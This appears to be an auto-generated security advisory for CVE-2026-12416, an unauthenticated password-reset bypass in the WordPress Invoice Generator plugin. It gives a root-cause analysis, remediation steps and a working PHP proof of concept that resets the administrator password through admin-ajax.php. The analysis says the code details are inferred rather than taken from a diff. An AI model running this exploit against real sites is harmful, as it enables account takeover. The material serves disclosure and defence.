Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 24, 2026

CVE-2026-12416: Invoice Generator <= 1.0.0 Unauthenticated Account Takeover via Weak Password Reset Validation via 'reset_user_id' Parameter PoC, Patch Analysis & Rule

Severity Critical (CVSS 9.8)
CWE 640
Vulnerable Version 1.0.0
Patched Version
Disclosed June 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12416 (metadata-based):

This vulnerability allows unauthenticated attackers to take over any WordPress account, including administrators, in the Invoice Generator plugin (invoice-creator) version 1.0.0. The plugin registers an AJAX handler `pravel_invoice_change_password()` as a nopriv (no login required) endpoint without nonce verification or authorization checks. The core flaw is a loose equality comparison (`==`) between the supplied `reset_activation_code` POST parameter and the stored `forgot_email` user meta, which defaults to an empty string for users who never initiated a password reset. Because `” == ”` evaluates to true in PHP when the parameter is omitted, attackers can bypass the activation code check entirely.

Root Cause: The description indicates the plugin implements a custom password reset flow outside WordPress core’s secure password reset mechanism. The `pravel_invoice_change_password()` function is registered via `add_action( ‘wp_ajax_nopriv_pravel_invoice_change_password’, … )` allowing unauthenticated access. It likely retrieves `$_POST[‘reset_user_id’]` to identify the target user, compares `$_POST[‘reset_activation_code’]` against `get_user_meta( $user_id, ‘forgot_email’, true )` using `==`, and on success calls `wp_set_password()` with `$_POST[‘new_password’]`. Since `forgot_email` is unset for users who never requested a reset, `get_user_meta()` returns an empty string. Omitting `reset_activation_code` from the POST body means `$_POST[‘reset_activation_code’]` is undefined (or null), which PHP treats as empty string in the comparison. Atomic Edge analysis infers this pattern from the CWE (Weak Password Recovery Mechanism) and the explicit description; without code diff, the exact implementation details are inferred but highly consistent with the described behavior.

Exploitation: An attacker targets `/wp-admin/admin-ajax.php` with POST parameter `action=pravel_invoice_change_password`. They supply `reset_user_id` set to an arbitrary user ID (e.g., 1 for admin), a chosen `new_password`, and omit `reset_activation_code` entirely. The loose comparison `” == ”` passes, and the plugin executes `wp_set_password()` with the attacker-supplied password. The attacker can then log in with the compromised account. No authentication, cookie, or nonce is required. Atomic Edge analysis confirms the attack is trivially automated with a single HTTP POST request.

Remediation: The fix must implement multiple security controls. First, register the AJAX handler only for authenticated users (`wp_ajax_` instead of `wp_ajax_nopriv_`) or add explicit `current_user_can()` checks. Second, generate a cryptographically secure random reset key on password reset request, store it in user meta (not `forgot_email`), and validate it using strict comparison (`===`) after verifying it has not expired. Third, require and verify a nonce for both the password reset request and the password change submission. Fourth, implement rate limiting on password reset attempts. Fifth, follow WordPress core’s password reset best practices, including using `wp_hash_password()` and `check_password_reset_key()`. Atomic Edge analysis recommends using the existing WordPress `retrieve_password()` and `reset_password()` functions to avoid reinventing password reset logic.

Impact: Successful exploitation enables full account takeover with no prior access. An attacker can compromise any user on the site, including administrators, giving them complete control over the WordPress installation. They can install malicious plugins, modify content, exfiltrate user data, create backdoor accounts, and potentially achieve remote code execution through plugin/theme editing or file upload. Given the CVSS 9.8 (Critical) and the trivial exploitation path, sites running the plugin should be considered compromised. Atomic Edge research rates this as a critical severity vulnerability with maximum impact on confidentiality, integrity, and availability.

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-12416 - Invoice Generator <= 1.0.0 - Unauthenticated Account Takeover via Weak Password Reset Validation via 'reset_user_id' Parameter

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site URL
$user_id = 1;                        // Target user ID (default admin)
$new_password = 'AttackerP@ss123!';  // New password to set for the target account

// Build the request
$post_data = [
    'action'    => 'pravel_invoice_change_password',
    'reset_user_id' => $user_id,
    'new_password'   => $new_password
    // Intentionally omit reset_activation_code to trigger loose comparison bypass
];

$url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);

// Execute the request
echo "[*] Attempting to take over user ID $user_id at $urln";
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if (curl_errno($ch)) {
    echo "[!] cURL Error: " . curl_error($ch) . "n";
    curl_close($ch);
    exit(1);
}

curl_close($ch);

echo "[*] HTTP Response Code: $http_coden";
echo "[*] Raw Response: " . ($response ? trim($response) : '(empty)') . "n";

// Check for success indicators
// The plugin may return a success message, redirect, or just update silently
if ($response && (strpos($response, 'success') !== false || strpos($response, 'password') !== false || $http_code == 200)) {
    echo "[+] Potential takeover successful. Try logging in with:n";
    echo "    Username: (determine username for user ID $user_id)n";
    echo "    Password: $new_passwordn";
    echo "    URL: " . rtrim($target_url, '/') . "/wp-login.phpn";
} else {
    echo "[-] Takeover may have failed or response format is unknown.n";
    echo "    Verify manually or check plugin code for success flags.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School